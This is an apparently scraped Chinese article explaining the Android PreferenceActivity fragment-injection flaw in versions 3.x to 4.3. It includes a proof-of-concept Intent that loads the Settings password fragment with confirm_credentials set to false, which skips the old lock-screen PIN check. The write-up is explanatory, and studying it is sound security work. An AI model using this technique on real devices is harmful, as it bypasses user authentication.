首页 > 社交 > 科普中国

关于Android

常驻编辑 科普中国 2022-09-25 漏洞   生命周期   函数   组件   布局   加载   界面   参数   代码   方法
8fJ拜客生活常识网

8fJ拜客生活常识网

任何继承自PreferenceActivity并对外导出的组件,都会受到攻击。恶意APP可以传android:show_fragment这个extra值来指定要动态加载的类。在PreferenceActivity的context里,通过dalvik.system.PathClassLoader函数来动态加载类,由于没有对请求的APP进行校验,恶意APP可以动态加载有漏洞APP里面的任何类(包括未导出类),使得恶意APP可以访问有漏洞APP的隐私信息8fJ拜客生活常识网

对比4.4和4.2之间的区别代码,如下:8fJ拜客生活常识网

https://www.androidos.net.cn/android/4.4.4_r1/xref/frameworks/base/core/java/android/app/Fragment.java8fJ拜客生活常识网

8fJ拜客生活常识网

https://www.androidos.net.cn/android/4.2.2_r1/xref/frameworks/base/core/java/android/app/Fragment.java8fJ拜客生活常识网

8fJ拜客生活常识网

在Android系统里,APP与APP是互相隔离的,互相之间不能访问对方的私有数据。APP与APP之间(更准确地说应该是组件与组件之间)的通讯,统一使用Intent。通过Intent可以很方便的唤起其他APP的Activity,达到功能重用的目的。比如平时使用ZAKER,你需要在微信圈里分享,通过这种方式就可以直接跳到微信的分享界面了。但使用这种方式的前提是目标Activity是exported的8fJ拜客生活常识网

结合上面的两个关键点,我们是否可以寻找一个exported的PreferenceActivity的子类,并通过精心设置Intent的extral的值,以实现打开那些没有exported的界面呢?如果这些界面涉及安全方面信息的话,又会怎样呢?8fJ拜客生活常识网

Android 3.X到4.3中的所有版本的一个漏洞,太老了没啥用(但攻击的思路以及概念值得参考),Setting几乎每个Android设备都有的。Setting是以system_uid方式签名,所以具备行使system的权力。它的主界面com.android.settings.Settings就是继承自PreferenceActivity,而且肯定是exported。我们以此作为入口,尝试寻找Setting里有哪些重要的Fragment,并尝试把它加载进来,主要目的是希望可以跳过某些需要用户交互的限制。比如说ChooseLockPassword$ChooseLockPasswordFragment这个Fragment,这个类主要是负责锁屏界面的密码设定和修改。同时,这个类会根据之前传入的initialArguments做不同的逻辑,关键代码如下所示:8fJ拜客生活常识网

Intent intent = getActivity().getIntent();
final boolean confirmCredentials = intent.getBooleanExtra(“confirm_credentials”, true);
if (savedInstanceState == null) {
	updateStage(Stage.Introduction);
	if (confirmCredentials) {
		mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST, null, null);
	}
} else {
	mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);
	final String state = savedInstanceState.getString(KEY_UI_STAGE);
	if (state != null) {
		mUiStage = Stage.valueOf(state);
		updateStage(mUiStage);
	}
}

如果传入的参数当中,key为”confirm_credentials”为true,就会调起旧密码验证的流程。如果为false,就可以跳过旧密码验证而直接进入密码修改的流程。测试代码如下所示:8fJ拜客生活常识网

Intent intent = new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
intent.setClassName(“com.android.settings”, “com.android.settings.Settings”);
intent.putExtra(“: android: show_fragment”, “com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment”);
intent.putExtra(“confirm_credentials”, false);
startActivity(intent);

绕过密码PIN BUG存在于3.X到4.3中的所有版本,4.4已经修复了,在Android 4.4中强制所有PreferenceActivity必须要实现isValidFragment方法,如下:8fJ拜客生活常识网

https://developer.android.com/reference/android/preference/PreferenceActivity.html#isValidFragment(java.lang.String)8fJ拜客生活常识网

相关阅读:

  • 不锈钢水槽漏洞怎么补
  • 用卢布买天然气存“漏洞”?企业竟可“绕开”制裁购买俄
  • 经过两个交易日之后,金州勇士目前的阵容名单如何?有什么
  • 对于疫情在极短时间内复现的新情况,要快上加快,堵上漏洞
  • 满是漏洞!电商平台;帮;未成年无限制游戏代充
  • 事以密成!高手表面人畜无害,实则鹰视狼顾
  • 直面问题
  • 什么是CSRF
  • 常见安全漏洞修复方法
  • 储户近200万巨款存入交通银行不翼而飞 人脸识别漏洞成
    • 网站地图 |
    • 声明:登载此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述。文章内容仅供参考,不做权威认证,如若验证其真实性,请咨询相关权威专业人士。